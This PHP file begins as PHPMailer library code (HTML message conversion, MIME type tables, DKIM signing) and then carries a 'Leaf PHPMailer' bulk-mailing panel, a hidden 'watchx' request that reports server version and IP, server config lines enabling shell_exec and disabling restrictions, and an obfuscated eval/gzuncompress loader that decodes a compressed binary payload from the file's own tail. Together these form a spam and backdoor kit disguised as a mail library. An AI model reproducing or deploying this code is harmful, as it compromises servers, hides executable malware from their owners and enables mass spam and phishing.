     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$iMQR='su'.'bs'.'tr';$lPRC='st'.'r'.'_rep'.'lace';$CXUq='file_'.'get'.'_cont'.'ents';$Kyxt='exi'.'t';$MhFg='gzuncompres'.'s';eval($MhFg($lPRC('dfpgujlvhk','>',$lPRC('ducheawlym','<',$iMQR($CXUq( __FILE__ ),-172277)))));$Kyxt(0);
?>
xducheawlymǎ`_
T
8hz,hE6z޻0{$%s##θL?ׂޛE6ye.Tdfpgujlvhkdc?-ϢKݳ-n
F-~kXXqYK1}ލ
_?_yV
p#j}YCMi $axX!m980H5xL=+q\-m~ XKʰw w#K
 g
xTBaY 4`p(Hb7(H)dL@vJ:\TT6(΀$~PA%dfpgujlvhk(݇^@3 8JkD$ P`l1x4RU'@V`Udfpgujlvhk[C~`|`y  x`*.nG'+RkS6@'rʃK{ducheawlym:2dfpgujlvhkJ9:|D5+A'o(&.wՙlI.h yY }A쪠_KI%ducheawlymJ֐T^Q_B$ *?N-	@w/jw*	K=xŷ`Y4hY[&wc]*EȳQR:Hg0G^a
H S)#
@-s}@pW=JIaq ,;VSs	_PhkӶ,,7
]Pm97Ni@B%,55dfpgujlvhkrReYt_mPkzz2n̈$Q064ms)(wP{B ducheawlymducheawlym	@{$M[/(xW9@u[4-BoopVEd^
b628y*;=N!K$PSx@
.+PzPA0{,ucDducheawlymȑy`,{PF82("s1dfpgujlvhkL8[3=xDA\s
'l=W^=ܗ愭y?&CK]AobR֋4pk]]ducheawlym**o0ǬhTs9Nig!iɑT=q&n}_~.zqeu8wW&MX~:hBe	J`Cr-6"W! wYmj=$S(0
L=/Rt2jO:}"2EmWZ~-(W!rQ0WJ
URƷk\ZȡY)3ڮ#ξPPFѢN',j8XX_g1T_~Dʡ(wݷ4|D QLlw
!C0
qC0аwjv~_Y?ND0T9𛼏ֳ[9Mjducheawlym|ѾpF'5W`*"?WdfpgujlvhkfQMi,k5سH~Q/-p+̧u@,r?cl$?x6w~z@ZRgYb-tEL2t-+_. S)|z%`7B[l4iCV_xH,pÔ5WڞFLW+ʆ_]#î(m0Q(ϤEF\vﮜ2Pv]\p(C(6icr35R F?d_tW*J|7"-}YE7}'w*@ո_Mdfpgujlvhk1Ǔ-ۘ~XMydfpgujlvhkj)y?IdfpgujlvhkLY#aOy*f`gjjqYX8?yi&$w+SZ:`ا3UhoKK7@IQ1~c.cMxħu5a1 v|=m|VFor0:D?D(~%ducheawlymJVc
8c6Eyd:	`1k$]R&bvnumX'Kul´vm^O[c?d/!{QwU5dfpgujlvhkxrf
R #Hasdfpgujlvhkw2UQŜtgNV"!DOs`(gH
